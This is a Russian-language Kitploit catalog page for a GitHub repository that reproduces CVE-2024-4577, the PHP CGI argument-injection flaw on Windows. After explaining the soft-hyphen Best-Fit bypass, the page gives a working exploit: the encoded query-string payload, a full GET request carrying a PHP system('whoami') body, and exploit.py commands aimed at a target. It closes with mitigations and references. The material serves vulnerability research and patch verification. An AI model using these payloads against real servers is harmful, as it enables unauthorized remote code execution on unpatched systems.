Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2024-4577-phpcgi_rce_reproduction — CVE Reproduction: cve-2024-4577-phpcgi_rce_reproduction | Kitploit
Инструменты/GitHubGitHub/razureink/cve-2024-4577-phpcgi_rce_reproduction
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubrazureink/cve-2024-4577-phpcgi_rce_reproduction

cve-2024-4577-phpcgi_rce_reproduction

CVE Reproduction: cve-2024-4577-phpcgi_rce_reproduction

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
128 дней назадЕщё не проверено

CVE-2024-4577 - Внедрение аргументов PHP CGI в Windows ("WorstFit")

Обзор

CVE-2024-4577 — это критическая уязвимость удаленного выполнения кода в реализации PHP CGI на Windows. Она обходит исправление для оригинальной CVE-2012-1823, используя преобразование кодовой страницы "Best-Fit" в Windows для протаскивания аргументов командной строки через строку запроса CGI.

  • Оценка CVSS: 9.8 (Критическая)
  • Обнаружена: Orange Tsai (DEVCORE)
  • Тип: Внедрение OS-команд / Внедрение аргументов
  • Дата патча: 6 июня 2024 г.

Технические детали

Когда PHP работает как модуль CGI (php-cgi.exe), он интерпретирует строку запроса как аргументы командной строки. Исходное исправление для CVE-2012-1823 блокировало символ - (дефис, 0x2D) для предотвращения внедрения аргументов. Однако в системах Windows, использующих определенные кодовые страницы (например, китайская, японская, корейская), функция преобразования символов "Best-Fit" преобразует определенные символы Юникода в их ближайшие ASCII-эквиваленты.

Ключевой обход использует символ мягкого дефиса (0xAD / U+00AD). Когда запрос передает %AD в строке запроса и локаль сервера использует кодовую страницу "Best-Fit", Windows внутренне преобразует 0xAD в 0x2D (дефис), что позволяет атакующему внедрять аргументы PHP, несмотря на фильтр.

Пример: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input становится -d allow_url_include=1 -d auto_prepend_file=php://input.

Затронутые версии

  • PHP 8.1.* до 8.1.29
  • PHP 8.2.* до 8.2.20
  • PHP 8.3.* до 8.3.8

Требования к конфигурации:

  • PHP работает в режиме CGI с php-cgi.exe
  • Веб-сервер Apache с модулями mod_cgi или mod_cgid
  • Локаль Windows, использующая кодовую страницу "Best-Fit" (китайская, японская, корейская и т.д.)

Настройка окружения (XAMPP)

  1. Скачайте уязвимую версию PHP (например, 8.1.28) для Windows.
  2. Настройте XAMPP или Apache в режиме CGI:
    root@kitploit:~
    ScriptAlias /php-cgi/ "C:/php/"
    Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
    
  3. Проверьте цель: http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

Использование

root@kitploit:~
python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo

PoC

Сформированная полезная нагрузка внедряет директивы конфигурации PHP через строку запроса:

root@kitploit:~
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

Меры защиты

  • Обновите PHP до версий 8.3.8+, 8.2.20+ или 8.1.29+
  • Отключите режим CGI и используйте вместо него PHP-FPM, mod_php или FastCGI
  • Примените правила перезаписи в IIS или Apache для блокировки запросов к php-cgi.exe
  • Запускайте PHP только на системах с кодовыми страницами, не использующими "Best-Fit" (например, английская)

Ссылки

  • https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-en/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-4577
  • https://www.php.net/ChangeLog-8.php
  • https://github.com/php/php-src/commit/2ae601d8d0d5b42891c6e15a28a14d1f44855f09
Скачать инструмент